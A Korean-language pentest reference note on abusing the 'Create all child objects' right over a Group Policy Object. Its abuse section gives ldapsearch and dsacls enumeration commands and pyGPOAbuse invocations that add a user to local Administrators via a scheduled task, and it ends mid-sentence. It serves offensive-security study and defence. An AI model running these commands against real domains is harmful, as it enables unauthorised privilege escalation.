Create all child objects

Create all child objects 권한은 객체 하위에 새로운 객체를 추가할 수 있는 권한입니다.

GPO(group policy object)에 대해 이 권한이 있다면 정책 내 작업 스케줄을 생성하여 정책의 영향을 받는 모든 객체들에게 명령을 수행할 수 있습니다.

GPO와 연결된 객체들은 기본적으로 90분 단위로 DC와 통신하여 정책을 갱신합니다.

Abuse

# GPO 목록 열거
ldapsearch -x -H ldap://'<dc-ip>' -D  '<user@domain>' -w '<password>' -b "CN=Policies,CN=System,DC='<domain>',DC='<domain>'" "(objectClass=groupPolicyContainer)" displayName

# pygpoabuse 설치 및 실행
git clone https://github.com/Hackndo/pyGPOAbuse.git
cd pyGPOAbuse
python3 pygpoabuse.py '<domain/user:password>' -gpo-id '<gpo-uuid>' -command "net localgroup Administrators '<username>' /add"

# 생성한 정책 정리
python3 pygpoabuse.py '<domain/user:password>' -gpo-id '<gpo-uuid>' --clean

현재 도메인 GPO에 대해 권한을 가진 객체들의 수준을 열거하는 UNIX 기반 도구는 없기 때문에 정확하게 권한을 가진 객체로 타겟해야 할 경우 파워쉘을 통해 수준을 확인해야 합니다.

2025년 10월 3일을 기준으로 BloodHound에는 Create all child objects 권한을 가진 객체를 표시하지 않습니다.

# gpo uuid를 기반으로 권한을 가진 객체 열거
dsacls "CN={'<gpo-uuid>'},CN=Policies,CN=System,DC='<domain>',DC='<domain>'"

Root Cause

GPO에 대해서 Create all child objects 권한이 할당되면 C:\Windows\SYSVOL\sysvol\<domain>\Policies\<gpo-uuid>\Machine\Preferences\ScheduledTasks 경로에 스케줄 파일을 생성할 수 있습니다.

pygpoabuse 프로젝트의 scheduledtask.py 파일에서 다음 코드를 확인할 수 있습니다.